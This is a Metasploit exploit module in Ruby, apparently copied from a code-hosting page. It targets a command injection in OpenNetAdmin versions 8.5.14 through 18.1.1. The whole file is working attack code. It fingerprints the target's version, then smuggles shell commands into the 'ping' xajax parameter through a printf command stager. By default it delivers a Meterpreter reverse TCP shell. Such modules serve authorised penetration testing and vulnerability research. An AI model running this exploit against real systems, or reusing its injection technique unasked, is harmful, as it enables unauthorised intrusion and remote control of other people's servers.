107 lines
2.9 KiB
Ruby
107 lines
2.9 KiB
Ruby
##
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# This module requires Metasploit: https://metasploit.com/download
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# Current source: https://github.com/rapid7/metasploit-framework
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##
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class MetasploitModule < Msf::Exploit::Remote
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Rank = ExcellentRanking
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include Msf::Exploit::Remote::HttpClient
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include Msf::Exploit::CmdStager
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def initialize(info = {})
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super(update_info(info,
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'Name' => 'OpenNetAdmin Ping Command Injection',
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'Description' => %q{
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This module exploits a command injection in OpenNetAdmin between 8.5.14 and 18.1.1.
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},
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'Author' =>
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[
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'mattpascoe', # Vulnerability discovery and exploit
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'Onur ER <onur@onurer.net>' # Metasploit module
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],
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'References' =>
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[
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['EDB', '47691']
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],
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'DisclosureDate' => '2019-11-19',
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'License' => MSF_LICENSE,
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'Platform' => 'linux',
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'Arch' => [ARCH_X86, ARCH_X64],
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'Privileged' => false,
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'Targets' =>
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[
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['Automatic Target', {}]
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],
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'DefaultOptions' =>
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{
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'RPORT' => 80,
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'payload' => 'linux/x86/meterpreter/reverse_tcp'
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},
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'DefaultTarget' => 0))
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register_options(
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[
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OptString.new('VHOST', [false, 'HTTP server virtual host']),
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OptString.new('TARGETURI', [true, 'Base path', '/ona/login.php'])
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]
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)
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deregister_options('CMDSTAGER::FLAVOR')
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end
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def check
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res = send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path),
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'ctype' => 'application/x-www-form-urlencoded',
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'encode_params' => false,
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'vars_post' => {
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'xajax' => 'window_open',
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'xajaxargs[]' => 'app_about'
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}
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})
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unless res
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return CheckCode::Unknown 'Connection failed'
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end
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unless res.body =~ /OpenNetAdmin/i
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return CheckCode::Safe
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end
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opennetadmin_version = res.body.scan(/OpenNetAdmin - v([\d\.]+)/).flatten.first
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version = Rex::Version.new(opennetadmin_version)
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if version
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vprint_status "OpenNetAdmin version #{version}"
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end
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if version.between?(Rex::Version.new('8.5.14'), Rex::Version.new('18.1.1'))
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return CheckCode::Appears
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end
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CheckCode::Detected
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end
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def exploit
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print_status('Exploiting...')
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execute_cmdstager(flavor: :printf)
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end
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def execute_command(cmd, opts = {})
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begin
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send_request_cgi({
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'method' => 'POST',
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'uri' => normalize_uri(target_uri.path),
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'ctype' => 'application/x-www-form-urlencoded',
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'encode_params' => false,
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'vars_post' => {
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'xajax' => 'window_submit',
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'xajaxargs[]' => ['tooltips', "ip=>;#{CGI.escape(cmd)};", 'ping']
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}
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})
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rescue ::Rex::ConnectionError
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fail_with(Failure::Unreachable, "#{peer} - Failed to connect to the web server")
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end
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end
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end
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